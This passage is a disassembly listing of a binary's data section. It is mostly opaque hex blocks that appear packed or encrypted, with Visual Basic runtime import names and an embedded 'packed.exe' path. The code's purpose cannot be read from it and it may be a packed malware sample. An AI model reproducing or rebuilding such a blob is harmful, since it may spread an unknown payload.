		dd 0E25A0C5Dh, 0AE6455E7h, 9F55902Fh, 41090CE0h, 92DEBF74h
		dd 30854DC2h, 0D2C0DE48h, 2D3F3D5h, 4901F231h, 0C0DE846Ch
		dd 0ED5366D2h, 0E6D2C0DEh, 0AAFBC495h, 0EB5D7820h, 0E8D2C0DEh
		dd 15625C9Fh, 0E6D12D2Dh, 55DBFEA7h, 6ED2C0DEh,	81EECC1Dh
		dd 8296AC85h, 0AE6F0E11h, 0FE6D015Dh, 8B5056D8h, 1EFFED0Fh
		dd 68AC61B4h, 6649D8E9h, 0D33A0026h, 0A7E14E82h, 5C4CBB87h
		dd 0D319D67Ah, 28D09832h, 0E9443B8Dh, 0AEF38D4h, 0D4E944A6h
		dd 45116CBDh, 0C0560370h, 79A689DEh, 40916241h,	562B360Eh
		dd 675A878h, 9796B83Ch
		dd 0BCFF7AE7h, 4F6A1242h, 0DEF691F9h, 0ED4AA9FAh, 0DEF69117h
		dd 17F9B161h, 6E0C3E33h, 761043A2h, 55B3F262h, 44D24Ah
		dd 0A7880000h, 7763427Ah, 0A72FEE02h, 5CFEB912h, 0A8E04FC9h
		dd 4262AB86h, 7DCE2D7Ch, 0AE86CE2Ch, 1FE805EBh,	69CE2DC0h
		dd 0C692928Bh, 0D12D0D1Eh, 0BA80A6E6h, 89355506h, 18008645h
		dd 61F21E88h, 13044h, 7A520E00h, 0F1390654h, 0B7A981C9h
		dd 0CEA6FE62h, 8DD52D08h, 72556BA2h, 0EC3D0C52h, 8217BF8Eh
		dd 0C3752B3Eh, 0AA89E435h, 6A484262h, 0C742F010h, 1A6BDCFBh
		dd 87B39CC4h, 0F1974B7h, 5FFD4356h, 0A5F6C375h,	0E52D7254h
		dd 0FCD989D5h, 0C3755F74h, 82ED3E0Fh, 7158A694h, 4E763E32h
		dd 755F856Bh, 6E4D9EC3h, 755B2C89h, 0C895B7C3h,	75231BEDh
		dd 0FECF18C3h, 0E3C3C552h, 3D68379Fh, 23E35560h, 97E0C375h
		dd 0D2117846h, 0A5C41AFh, 23817742h, 0B182C375h, 0D45D7872h
		dd 81C95C30h, 0DE398B0h, 24734608h, 2DCCB85Dh, 96E4CAC2h
		dd 0C36C66B7h, 7165EED7h, 0B0298EE6h, 0C935BB1Eh, 0FDCEC8A4h
		dd 0AB97BCACh, 64B5858Dh, 219770B7h, 0FBE07870h, 1B4h
		dd 0D17F5F45h, 0EE62404Ah, 0E8605841h, 0E4644843h, 0E56B535Fh
		dd 0C9F1A9D8h, 0C5F05FF1h, 0DBF05FF1h, 0DECE55FBh, 715150F8h
		dd 98F5DCA4h, 0F2A4D7C6h, 3236A35h, 8CC5CD20h, 75E24729h
		dd 2B735CC3h, 0C6BC05F1h, 0B19FE8E2h, 8A82A2EAh, 0AB0E56A4h
		dd 0C375C1C5h, 4DBC8DDEh, 24247545h, 2FEE0264h,	0E237FFA7h
		dd 0C375E21Eh, 0E9C415h, 0C95CFEAFh, 23C6544h, 85D62717h
		dd 0FE70C4B9h, 0BCE5C692h, 5671BE9Ch, 0C7942876h, 38D37FC3h
		dd 721A8A9Eh, 0C22A61F2h, 0BC000000h, 6547A52h,	0EEC8F15Eh
		dd 4A9BA3h, 75E2C3B5h, 0B4F7C0C3h, 15695159h, 75E6D3A0h
		dd 684E5EC3h, 6D715BE0h, 9B7A7611h, 0E6240B33h,	86BDBFC9h
		dd 66B7BD8Dh, 8EE1A207h, 0BD8EC95Ch, 143BE393h,	0E0482D29h
		dd 0E3C6926Ch, 0C02C5392h, 75CDF5DDh, 0ACA51D98h, 7CDD1826h
		dd 0CCB8473Ch, 0C36C66B7h, 0B53B9ED7h, 4EC8A496h, 95BA2C7Dh
		dd 3FA59AB3h, 4923830Eh, 0E8CB2278h, 0EBD3DF64h, 2211F936h
		dd 259F170h, 94h, 311F3F65h, 0CE02206Ah, 0C8003861h, 0C4042863h
		dd 0C50B337Fh, 0A991C9F8h, 0A590BF91h, 0BB90BF91h, 0BEEEB59Bh
		dd 5171B098h, 98FAFC44h, 0D284F7C6h, 0FA566452h, 0F55B7BADh
		dd 547A52D5h, 0CFEF3906h, 87866A01h, 0CEB207CFh, 0C5C375E2h
		dd 983DB9F4h, 0C962EB0Ah, 0B582D829h, 0B69DB393h, 976AB096h
		dd 9516467h, 0DD6F6B62h, 0DE65EBCBh, 0A592E8CEh, 787C4262h
		dd 7355F793h, 7656FD53h, 11510A50h, 99000000h, 0FC2C7323h
		dd 5DA584DAh, 417311DAh, 569513h, 0A506652h, 0F7CBEB3Dh
		dd 5FA38388h, 0CD112510h, 0B886B4E2h, 277B434Fh, 91EDF1D8h
		dd 7D4179A6h, 0E43A1832h, 0E6895602h, 4C681h, 0BA520000h
		dd 4, 875AD629h, 685C2434h, 44B2h, 56240C89h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 34895C24h, 248EB924h, 0F7913955h
		dd 0E9D191D8h, 63B6C981h, 0F1813E4Ch, 7AB0662Ah, 24348B54h
		dd 4C481h, 53520000h, 0F4109768h, 0EB815B3Bh, 3BF4108Fh
		dd 15BDA89h, 5A0A89F2h,	5024348Bh, 405E089h, 5000000h
		dd 4, 5C240487h, 592434FFh, 4C481h, 0F8E90000h,	64FFFA63h
		dd 53FFC980h, 3A64E25Bh, 0ED18F0B8h, 0FFC50305h, 510BD0E0h
		dd 0D121887Ah, 47974671h, 0EB044F33h, 4CEC2A6Ah, 30502758h
		dd 45115F68h, 7AD92F68h, 87F196Ch, 58F4104Bh, 23721B41h
		dd 5B8A2034h, 3C5AC312h, 0D0B31172h, 6A9D5146h,	0CFB43849h
		dd 8BF1101Dh, 0F149206Bh, 5737AE3Ch, 45BC3F44h,	0D2EB83Fh
		dd 0A551304Fh, 0CB35FC70h, 0F0D87569h, 958BF310h, 6B596B0Eh
		dd 845EC425h, 0A88E8B01h, 1FA9537Ah, 17DE955h, 5D600000h
		dd 16C4FFEh, 0D1D76FC2h, 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h
		dd 9244FCA3h, 92A59EB9h, 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h
		dd 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h, 9755FC00h, 6D599CBAh
		dd 0FFB2A4E5h, 0F647FEACh, 0D4C45657h, 0B5F600CCh, 49F78F7Dh
		dd 0FA975395h, 0CD45C9BCh, 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
		dd 0F8000000h, 0A43736D1h, 34D3C20Dh, 0E91FEADEh, 0FBFh
		dd 0ED1D9068h, 29A1E905h, 0A468FFFBh, 0E905ED1Eh, 0FFFB2997h
		dd 0ED200768h, 298DE905h, 0AE68FFFBh, 0E905ED20h, 0FFFB2983h
		dd 0ED21C668h, 2979E905h, 9968FFFBh, 0E905ED22h, 0FFFB296Fh
		dd 0ED232668h, 2965E905h, 0A768FFFBh, 0E905ED23h, 0FFFB295Bh
		dd 0ED249C68h, 2951E905h, 2668FFFBh, 0E905ED25h, 0FFFB2947h
		dd 0ED260068h, 293DE905h, 9F68FFFBh, 0E905ED26h, 0FFFB2933h
		dd 0ED275568h, 2929E905h, 0C768FFFBh, 0E905ED28h, 0FFFB291Fh
		dd 0ED29AF68h, 2915E905h, 0D76AFFFBh, 2833351Eh, 899EEAF3h
		dd 0E16543A8h, 3BC1270Ch, 59CE85EEh, 260FDC60h,	98E53EC2h
		dd 705D9AA8h, 2B30ED70h, 47BB10B3h, 0EC351B6Ch,	0B24BA7E2h
		dd 3B02DF60h, 666F3E81h, 30F67008h, 0C91F88A3h,	146A6334h
		dd 0BF30F670h, 3640ADB4h, 0F00E4714h, 5B30F670h, 67368990h
		dd 98D00D11h, 70708EC7h, 10DB30F6h, 0CC379009h,	8D36DD7Dh
		dd 0C89CD5FFh, 65CEE633h, 0D10F8C47h, 0C859EB04h, 38E1C86Ah
		dd 0B80BFA75h, 11D0DF13h, 2CFD7435h, 0D08D8D48h, 1DE93511h
		dd 1DF958EDh, 3DEE7400h, 1F000000h, 0C2FA37C9h,	1DF3A079h
		dd 18B534FFh, 36DD8CF1h, 0A77C8C58h, 0A1DB220Dh, 28460FDEh
		dd 0A635116Ch, 9DF13DACh, 63CA9D6Bh, 0D16DEDA6h, 3D093511h
		dd 18D9780Dh, 0D58E7400h, 0D1000000h, 8A7DB24Bh, 705C923Bh
		dd 7CF730F6h, 0E973C9ABh, 70CF23A8h, 0CD6430F6h, 0E97CCAE2h
		dd 97AE7C34h, 38747D46h, 6B30F675h, 0F295EF5Dh,	3C07B16Ah
		dd 0FB80FB88h, 2A031A2Eh, 815EE7C1h, 0EE2547F7h, 0CEEBB61Fh
		dd 0EB4236DDh, 19D2F082h, 12CB52A6h, 0A508915Ah, 743E228h
		dd 0CF53A933h, 34955E16h, 0AD69F349h, 0C22D4798h, 0D5FEC1FBh
		dd 30F88399h, 0C9D03B32h, 811A776h, 0FECF5529h,	0EE765ACFh
		dd 4CD0D03Dh, 0D4080D9Fh, 0AB35D992h, 0D2920h, 0E146DB00h
		dd 4297AC84h, 3BF80F79h, 9F50D6D2h, 71AAB2B6h, 0D1C87114h
		dd 0B3B59E4Bh, 196F74ADh, 0E1C72C09h, 20BA835Ch, 6DB4CA83h
		dd 731F351Bh, 65B14BD6h, 8D760EE3h, 9EEA59A2h, 0E8F0A98Ah
		dd 0DEB39855h, 0B534FF1Dh, 0DD8CF118h, 0D86CB836h, 198E6903h
		dd 64E19B52h, 35116CFAh, 0F184B29Eh, 74009E62h,	0E501h
		dd 0B24B4800h, 9160437Dh, 7079F5DEh, 1BD230F6h,	0F6701C52h
		dd 954ED230h, 0E67110DBh, 0D4051F21h, 7573319Ch, 0D42030F6h
		dd 1CE79156h, 4FA0A58Bh, 55F18766h, 0DB1508FFh,	200E2048h
		dd 832B8384h, 0F22B3206h, 4B183ABAh, 0F691EC02h, 6DF14730h
		dd 0D43FF8B0h, 5DAB7ACDh, 915A12C7h, 65F05F08h,	9E5936DDh
		dd 94C7E5B5h, 1182C33Fh, 0E6C16835h, 0ED817107h, 769B76DCh
		dd 0C410AD1h, 0A1330746h, 5BE137B6h, 186C3F8Eh,	57902805h
		dd 0F886D02Eh, 57F07B30h, 0B319AF1Eh, 0C11BEE63h, 0A2BA8E1Bh
		dd 0AB68D749h, 0B95D992h, 0C1540h, 9D5AEF00h, 7EABB0B0h
		dd 0D70C1315h, 8B64FACEh, 6DBE46A2h, 0E5DC4D00h, 47A18A5Fh
		dd 2D1B60C1h, 0F5F3D81Dh, 3C56BF70h, 6EC826AFh,	6F63351Bh
		dd 78B14B32h, 0DF101513h, 0B24B99F6h, 5460437Dh, 8912A84Fh
		dd 0C8108910h, 0C393F835h, 329B6AA1h, 36DDA253h, 29F84BE2h
		dd 0ED964FD3h, 3511AD91h, 0E96333Ah, 8DE1EABDh,	263511ADh
		dd 49C99A0Fh, 2D3511ADh, 0B59C31C1h, 5273FFDDh,	6Ch, 2F4308DBh
		dd 843511A1h, 0E89D1FADh, 8300C0h, 0FF1DDA87h, 0DD18B534h
		dd 0C36DD9Eh, 50C28B25h, 3435115Eh, 44C43147h, 0D4C9D499h
		dd 32C77773h, 7400BB1Fh, 24F90C58h, 2E4463h, 97E50000h
		dd 89F65390h, 0B534FF1Dh, 0DD77B118h, 0A7D11836h, 11773C3Eh
		dd 3ECC5835h, 0B3A8ABh,	93B5C374h, 38A4CE6Ah, 7C4E3A4h
		dd 8B000000h, 7F136h, 0FF1D1900h, 9418B534h, 0D736E38Bh
		dd 93387D81h, 351B6B5Fh, 0B5127DF4h, 489C6FC6h,	151378B5h
		dd 0C2A5DF10h, 6FCC32B6h, 8D1AC01Ah, 0A504CFEDh, 344A03D2h
		dd 9F351B7Ah, 5B92F354h, 0FA330E80h, 0EB21F073h, 0A07D8155h
		dd 43C42F59h, 2E37E87Dh, 1BEA43DAh, 7DD6208Dh, 74D5D9D5h
		dd 0A56E8C20h, 9F2A89C2h, 0B0BB36DDh, 6BAF3910h, 71DAFADFh
		dd 0AB2h, 1378BD4Ch, 0F0DD0E15h, 0A9B26FF0h, 0D16C75Fh
		dd 0E3C8213Bh, 0C25A3FE8h, 24240C69h, 8082E6CFh, 0D36A5EA7h
		dd 0A59311Ah, 1B502D41h, 4D088635h, 8A63FACEh, 379009F2h
		dd 30F67147h, 7FCE0527h, 0BF69E269h, 0F6F2A8F2h, 41ECBD6Eh
		dd 0E3E89074h, 0D3383336h, 0DBAA6183h, 0EF212F2h, 37B6A133h
		dd 0BA835CE1h, 4E66B74Eh, 4D1A8CAEh, 984D101Eh,	0B583624Dh
		dd 5A871B2h, 0E3D83D48h, 0C2A58C36h, 55BE6FF6h,	0F608CA53h
		dd 3FA6DE39h, 0B51B383Dh, 75F43F5Dh, 30336D58h,	0B315DCB3h
		dd 598EE3A0h, 0B98435Dh, 0E500000Ah, 4EBA8364h,	291F64B5h
		dd 0F0F0DD16h, 5C54B16Eh, 530A13C8h, 0B069F3E6h, 16CB5DABh
		dd 0CE273B0Dh, 0A57A83E5h, 28A50658h, 351B50D2h, 1D3C5979h
		dd 18B534FFh, 36E38A84h, 0C33F9427h, 88351B6Ah,	1B6AAFC3h
		dd 0BA2D0435h, 6A4CA22Bh, 4CE7351Bh, 5DAB1A65h,	409417C8h
		dd 0EF4860BDh, 263F093Ah, 1D3FBFC9h, 727E57D6h,	39330E90h
		dd 0D0091266h, 0D8165F98h, 7330F670h, 0A87C2FF8h, 0EEA59BF8h
		dd 2487EE84h, 8B904DD0h, 8358EC38h, 0B7990EE9h,	0B74771AEh
		dd 4CA60395h, 0C4E8C4FBh, 1A410AFDh, 0BB36E3A8h, 62FB31B0h
		dd 0BD40A08Dh, 8D8D4860h, 0ED351B48h, 0D2A504CFh, 1B4885F9h
		dd 82072E35h, 0B276923Bh, 0FDD330Eh, 51D03BF8h,	5A2D021Bh
		dd 213BF70Eh, 6C77B0C8h, 353EEB54h, 0BBF52A33h,	53D2193Bh
		dd 0E3A86A7Ah, 0F903D936h, 0ABB28820h, 68006B72h, 9A6DA6C4h
		dd 30430231h, 5FE53333h, 0C2099FD7h, 4A55EE55h,	0C547EEDDh
		dd 0D98EC478h, 0F3B01BA5h, 8D000008h, 5652BB7Ch, 31371CCDh
		dd 98E8F52Eh, 644CA986h, 0AB220BE0h, 0A8819BFEh, 0EE36543h
		dd 0E63FC325h, 5D92AB9Dh, 4D1E70h, 351B51EAh, 4B143141h
		dd 0E5437DB2h, 0B9F58F60h, 6C3F85B5h, 0F6700B67h, 0F70B4030h
		dd 5C30F670h, 0AE7BF295h, 41AA839Ah, 0E7BA262Dh, 14DD79h
		dd 1E6A0000h, 17E2B0Ch,	9763FACEh, 0D0495091h, 49BF5h
		dd 0A249DC00h, 0DDAC6785h, 0F4253E0Ah, 780B7253h, 7E4A36DDh
		dd 19B235E6h, 351177E5h, 7B22E74Eh, 7A460FF0h, 0E201E546h
		dd 0E9B80BC0h, 0A7988216h, 95B795C5h, 1A0D92E8h, 0CA3E39E6h
		dd 652EFB34h, 0E031E3CAh, 3CB0C863h, 7952D51Eh,	0E5EBB964h
		dd 499F6EC9h, 16127BB4h, 0F94EDE0Fh, 3AB065C8h,	820319Ah
		dd 4FD20000h, 0A0BB8D96h, 106624Bh, 59EDDB20h, 0B349BF84h
		dd 0D1461D66h, 0BE8754E8h, 107DB64Ah, 0C8D51210h, 0A38865F8h
		dd 0BF33982Bh, 14351B52h, 0B24BDF7Ah, 5FE5437Dh, 27518E97h
		dd 0CEE8F5DCh, 9E27AACh, 0C4765F2Eh, 1736E38Ah,	61F6DDCh
		dd 61E4CC29h, 4593F48Ch, 0BA432C0h, 0A4D6A4F9h,	90B2CC5Dh
		dd 0FDE3E85Bh, 56330E96h, 45D82C9Fh, 0D4619E8h,	30F676F1h
		dd 3D36935Ah, 0C3FD32CBh, 9A0ADF65h, 0D984A5D7h, 93D37C04h
		dd 6D000007h, 36321BDCh, 9197FC2Dh, 7848558Eh, 0C42C09E6h
		dd 0CB82EB40h, 8E17B5Eh, 0EE43C523h, 469FA385h,	3DF20B7Dh
		dd 0A02DBED0h, 351B534Ah, 1DB4D1E1h, 0E2B534FFh, 8CC99296h
		dd 30F6706Eh, 69036AC5h, 7041BD16h, 43EA30F6h, 0FAE6AF78h
		dd 5136E38Ah
		dd 4CD12786h, 0A7BE8A93h, 5BC0DAEEh, 4218429Dh,	1BA2E519h
		dd 9CE74E35h, 0F93250E4h, 70C64D06h, 0CC673330h, 8F831F5Ch
		dd 1BC4DCD9h, 712h, 0B3985DECh,	107DAEB5h, 0C9D20F10h
		dd 0ADB667FFh, 368C15Bh, 62FADF48h, 0C444AC89h,	2022066Fh
		dd 738AFEC7h, 0AA3951BAh, 1B53CD21h, 2D686635h,	437DB24Bh
		dd 909260E5h, 0AFFD4C57h, 0F0570496h, 0D3F6D30Ah, 252AB0C8h
		dd 21867898h, 8AEABF86h, 0C7202E12h, 4F1EE13Eh,	0F69BE806h
		dd 4AB54330h, 0D2331793h, 767F2833h, 0E7A61938h, 0ECE79h
		dd 297F0000h, 59A2DA17h, 0A93693C0h, 19000002h,	437DB24Bh
		dd 0EB5A91B3h, 0E38BFEE2h, 0B19A5536h, 8E71AEB7h, 0EC87B1FAh
		dd 0ECBDD3BDh, 71AAB288h, 4BA4BA8Eh, 1051F631h,	1CEF2446h
		dd 0E9368B7h, 9716C133h, 8063BC41h, 73668431h, 62CD30F6h
		dd 0A1A48CA5h, 8053344Ch, 0F673B7CBh, 52833930h, 7C9F7CDEh
		dd 7345C26Dh, 0C61B2DE9h, 1331C5FFh, 516C69D8h,	0C036DD2Ah
		dd 0FACEB769h, 750FDF6Bh, 61DEAh, 9552D700h, 76A3B888h
		dd 2F041B6Dh, 835CE2C6h, 65B64EBAh, 0EDD44518h,	4FB98257h
		dd 151378B9h, 0FDCBD015h, 34AEB768h, 54C03E97h,	676B351Bh
		dd 9DBACE2Ah, 5A57C09Ch, 57EEF257h, 518EE86h, 0D8E49028h
		dd 9748DD2Ah, 676C3F8Eh, 30F6E00Bh, 821089A0h, 79E72DCFh
		dd 7B4h, 6836DB00h, 19000001h, 197CBACEh, 0DA5CDA21h, 95E27B4Dh
		dd 0F6E6C238h, 52EF4C30h, 0AAA1AAB2h, 7729303Bh, 0D9850B18h
		dd 9310BBC5h, 6D000005h, 36321BDCh, 9197FC2Dh, 7848558Eh
		dd 0C42C09E6h, 0CB82EB40h, 8E17B5Eh, 0EE43C523h, 469FA385h
		dd 3DF20B7Dh, 0A02DBED0h, 351B554Ah, 0CEB4D1E1h, 0AB4BF6BAh
		dd 0F156EA56h, 0EF9956EFh, 34360419h, 0AD0E8F3h, 0A7853FF8h
		dd 9B2943A0h, 0C15D9FAFh, 6BF24DFDh, 3E15A9B2h,	2579E79Eh
		dd 35h,	3DEE7642h, 0B2EFB883h, 27AC7FCEh, 30F670CBh, 6E8CC960h
		dd 0C530F670h, 70A5D9F2h, 270E30F6h, 0AE7DA8DCh, 0CB96CB20h
		dd 0B1775Eh, 365A0000h,	0ABh, 34FF1D19h, 1CDE67B5h, 559ED60Bh
		dd 0B3C9324Ah, 6FB1E8ECh, 13BA6FF2h, 0E3B336BAh, 1A529D36h
		dd 33E87349h, 3DF61496h, 76EDFB4Ah, 5AEF2B93h, 0D6693AEFh
		dd 7F333031h, 404554F4h, 0EEF6D98Fh, 4B965h, 71B64B00h
		dd 0D2071C14h, 8B68FFC9h, 6FC046A2h, 0C11A2206h, 4138E1E4h
		dd 23056EBBh, 89FFC41Dh, 5157BC79h, 500A13CCh, 56245A73h
		dd 38F351Bh, 34FF1D46h,	0BE1418B5h, 0BCB736DDh,	1368FFCDh
		dd 113D44BAh, 0BC758A35h, 0BD319A2Dh, 1635113Dh, 80EDF4DFh
		dd 113D5CDFh, 18D56835h, 0F1323533h, 4541CC7h, 1D430000h
		dd 0E29C69FFh, 22A222C1h, 7D6368DBh, 3636E3E3h,	0E9835CE2h
		dd 3C13D96h, 0C36A351Bh, 0F57C2FF8h, 0D2193BBBh, 0D2C77A53h
		dd 0C76E3330h, 8EE33E45h, 7AE5FFD9h, 41Ah, 8B9055D4h, 6875A6BDh
		dd 0C12A0718h, 0A58E5FE7h, 1B60B943h, 5AE2D740h, 0BC4CA481h
		dd 182A1E67h, 6BF2F6DFh, 9231A9B2h, 1B56C539h, 25606E35h
		dd 0B534FF1Dh, 372AD6E2h, 0A0AEA077h, 0EF26AEE7h, 176536E3h
		dd 548D10Eh, 0C7F12E37h, 4692157Ch, 0CC9F6EBFh,	1B0F6B87h
		dd 0CC34C035h, 52419180h, 80A16641h, 9E4FD725h,	0DC1E2709h
		dd 0F48C974Ch, 16E92240h, 0E1246BDh, 0CD51E733h, 0A99F5810h
		dd 8F7E5992h, 0C516A4B9h, 0EF1A98EAh, 0DE2A331Ah, 5EDE9647h
		dd 5F74F73Ch, 36DDA97Ch, 0CB283F0Dh, 0B624EBBDh, 0F8A1CEA1h
		dd 0A3EABAB5h, 50DF6BA4h, 3648740h, 0B1E0000h, 5CE7C12Ah
		dd 0BD42A68Fh, 15291F64h, 6FF5F3D8h, 8D3A51BAh,	0F2DB1014h
		dd 54B172F6h, 0C69CE5Ch, 0E7CC2124h, 7BF7DCEFh,	0D0351B57h
		dd 0FACEE3BEh, 5D929462h, 28F13A72h, 8820FD00h,	0D96FABB2h
		dd 0BC876018h, 7D80D457h, 2B3208A0h, 7C3EEBF2h,	0B912955Eh
		dd 36DD7D32h, 61C24593h, 0B01DEC57h, 35117D3Ah,	457F4691h
		dd 117D9E98h, 0E06EFA35h, 83FBF682h, 0BAD2BAA6h, 0A5C291EDh
		dd 50A17400h, 28000000h, 8F68FACEh, 8942601Ah, 871EA236h
		dd 8127FC03h, 86031503h, 38956437h, 30F6AFC2h, 859CE69h
		dd 36DD53E1h, 0F4D7E148h, 0F1DA9FA0h, 3511B37Dh, 0B5341FD6h
		dd 11B3E218h, 39EE4935h, 11B3EE68h, 90BE8A35h, 0FFF756FDh
		dd 0DC0D73h, 4B540000h,	925520B2h, 26FA2608h, 0BD47A5DFh
		dd 0A073546Ch, 0F640D72Bh, 54F57C30h, 8C24F90Ch, 8FE5AD3Bh
		dd 64C06B8h, 54A6BF81h,	98631DD2h, 12354B1h, 0D730F6F3h
		dd 0DA2E914Eh, 8B9CE841h, 75F0F156h, 0F2D529A2h, 0EB5B30F6h
		dd 2DE3B6B5h, 0D049E0E3h, 0B87588h, 8F1D4E6Ch, 573E6463h
		dd 0D02E5726h, 7B30F69Ch, 4716E9F0h, 71866C31h,	0BC8731EAh
		dd 3D1E3D08h, 0ABEC3B6Ch, 0EA4536DDh, 18D3F181h, 0C0572CA9h
		dd 73FA3307h, 4BA0A4F0h, 2DFE0662h, 93113C7Bh, 7CE7F9D9h
		dd 1F2h, 53B87D8Ch, 301DCE55h, 0E9F22F30h, 4D56879Fh, 2308E17Bh
		dd 829AFFA8h, 0E4644CA9h, 40C2260Fh, 93AA9EE7h,	4A19715Ah
		dd 1B58ED01h, 0D484635h, 1378B14Bh, 0F6DF1015h,	0C11A2177h
		dd 0BACE1B58h, 15DA5287h, 0FAB415AEh, 0BFF80ED8h, 0F614D816h
		dd 91F87330h, 21FA01E7h, 7A45AC97h, 0E8BFC28Bh,	0A2F636DDh
		dd 94C74099h, 8C9EEA5Dh, 3FA6FEABh, 3511083Fh, 653FCF5Bh
		dd 0E998B457h, 59CE04CEh, 0FFEC163Dh, 71B5173h,	8251DF73h
		dd 96F11DF1h, 0B5B415DEh, 93h, 567FCEDCh, 30F67018h, 0D9EFB8B3h
		dd 0BD1EB44h, 0C58038F1h, 30F67567h, 6A73ACB1h,	9ED6071Eh
		dd 132AFC1Eh, 7E59A2DAh, 7B83C68Fh, 32A36DDh, 0B17A983Ah
		dd 1C5185CEh, 73FA3307h, 4BA0A4F0h, 2DFE0662h, 934C467Bh
		dd 62EDF7D9h, 10Ah, 0BB8065E4h,	1865B64Dh, 0F1DA1728h
		dd 55BE6FF7h, 0B10C953h, 6AF2E750h, 0CC5C54B1h,	283A0E17h
		dd 7B82E6CFh, 0A20159A2h, 1B59D529h, 35507E35h,	0E165B14Bh
		dd 0BD8B740Ch, 0F43F49AAh, 9DA080EDh, 0CE667B40h, 0A18439BAh
		dd 0F63ED614h, 0B6F27D30h, 50C9BBC9h, 4938F508h, 429BA2F6h
		dd 0F601E519h, 68FA4E30h, 91E3A48Fh, 107DB24Bh,	62C34795h
		dd 6CA7C5A5h, 0FAC4309Dh, 5C9736E3h, 0B9CBDFEDh, 0E30CE396h
		dd 75885E26h, 6E7B33E5h, 74A4C0F9h, 0BE2F29F5h,	90FDC42Fh
		dd 18508D90h, 1312E4BDh, 9DADB54Fh, 1962BB42h, 7B6F1EAAh
		dd 8731EA72h, 2A2708BCh, 0C75E6227h, 853FF40Bh,	1D053BAh
		dd 1C9036B4h, 0D3529D2Fh, 1C9084FAh, 83042F2Fh,	0DA132BF1h
		dd 9E545D6Bh, 2D752D09h, 0CFFD715Ah, 9F562F1Ch,	45ED6A0Ah
		dd 1AD36AB5h, 0F12E3731h, 0CF283A0Eh, 0F913A5Ah, 0C0000000h
		dd 0E1563CAh, 0DC328180h, 0D9202220h, 0B64B1340h, 5CE14771h
		dd 0F13E983h, 0B8489ED6h, 61FB417Bh, 122AF088h,	0C559AFD9h
		dd 758A5068h, 1D2604BCh, 56FEB4CCh, 0C6815E54h,	4, 8704EE83h
		dd 685C2434h, 5D88h, 68240489h,	12B5h, 52240C89h, 204F1568h
		dd 0CB85A44h, 1C1CCCDh,	8B545AD0h, 0C481240Ch, 4, 57C78957h
		dd 1A242C81h, 8F6D316Ah, 41810841h, 316A1A08h, 34FF5F6Dh
		dd 0C4815924h, 4, 582434FFh, 0E904C483h, 0FFFB19F3h, 0AF4A1B42h
		dd 0B8BD05CBh, 5ED2ADEh, 0E0FFC503h, 2605DEA2h,	5166A47Bh
		dd 32F1458Fh, 5219A82Eh, 52BE3E3Dh, 16B6D707h, 14A37997h
		dd 2C0E37A9h, 542B34A0h
		dd 0A7E4A53h, 18AE386Ah, 2C8C4D7Ah, 60395235h, 37352098h
		dd 570A1B1Ah, 4D4697D0h, 10E8h,	27098200h, 38542EB4h, 1B81213Dh
		dd 7FFFC583h, 0D54DBF38h, 0E85B71EEh, 13h, 164AF0E3h, 85473C34h
		dd 0F317A822h, 594C80Dh, 60D88D20h, 0DEB7F18Bh,	0C3815F61h
		dd 60E0h, 68CB8B66h, 17F9h, 0D8816660h,	0BF0FEBDBh, 0FC5E61DBh
		dd 0B86633FFh, 575A3CCFh, 8E0Fh, 81590000h, 1E50EBF2h
		dd 7E819h, 0A3740000h, 9AA47139h, 8158F973h, 23150FEAh
		dd 81F98B34h, 95E7E1F2h, 6E872h, 31340000h, 28A61EF1h
		dd 0BA60525Fh, 6AF1ED0Bh, 178A0Fh, 12E90000h, 5D000000h
		dd 0ECA2B831h, 0A67F8D51h, 57E6BEBFh, 0E3E22819h, 38F61A4h
		dd 1EB81F9h, 817D9107h,	85A12BD9h, 0FDC38111h, 667D9106h
		dd 107F781h, 1EE81h, 850F0000h,	10h, 0A46BB966h, 20E9h
		dd 0FB2A1B00h, 15950265h, 0FB86652h, 5DE95892h,	2EFFFFFFh
		dd 47AA3697h, 0F1582353h, 0EEBDF567h, 8A8D8DC9h, 0F505ED2Dh
		dd 23158D89h, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 7E4E2AC3h, 4822E508h, 0CEDBD8Bh
		dd 85C705E7h, 5E708B9h,	6D1Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 27C35545h, 0B9A2BFFAh, 8B482383h
		dd 6820FB7h, 8B000000h,	0E72D1985h, 0E1958905h,	0C705E701h
		dd 0E70C9985h, 5, 31958B00h, 0F05E726h,	689h, 0DD858900h
		dd 0FF05E713h, 0E7262DB5h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8BF641BDh
		dd 0E701F985h, 0CD95FF05h, 6A05E732h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 354AC351h
		dd 0CCED0968h, 2E4D9D89h, 0FD8A05E7h, 95FF006Ah, 5E71A1Dh
		dd 3EEBC08Bh, 448DD497h, 0F274D38Bh, 41A19B51h,	0EF95CF2h
		dd 0CFA6CF74h, 0D1C8A0B8h, 0DD7E1DE3h, 0C5293515h, 33086C3Dh
		dd 84110C41h, 0D5002936h, 52ECF534h, 75034A97h,	0F5321690h
		dd 0B3B4FA9Ah, 5CE9AC03h, 0C5000001h, 4377E705h, 5F6D5C3Ah
		dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h
		dd 3Ah dup(0)
		db    0
		db 2 dup(0), 33h
aCannotFindS_Pl	db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
aS_1s		db 'áÏ.1éÀ',1Bh,0
		align 4
		dd 0ED314768h, 4E39E905h, 1268FFFAh, 0E905ED32h, 0FFFA4E2Fh
		dd 0ED32F968h, 4E25E905h, 0A868FFFAh, 0E905ED33h, 0FFFA4E1Bh
		dd 0ED33E768h, 4E11E905h, 7768FFFAh, 0E905ED34h, 0FFFA4E07h
		dd 0ED34CA68h, 4DFDE905h, 2768FFFAh, 0E905ED35h, 0FFFA4DF3h
		dd 0ED3C6868h, 4DE9E905h, 768FFFAh, 0E905ED3Dh,	0FFFA4DDFh
		dd 0ED3DB768h, 4DD5E905h, 0D668FFFAh, 0E905ED3Eh, 0FFFA4DCBh
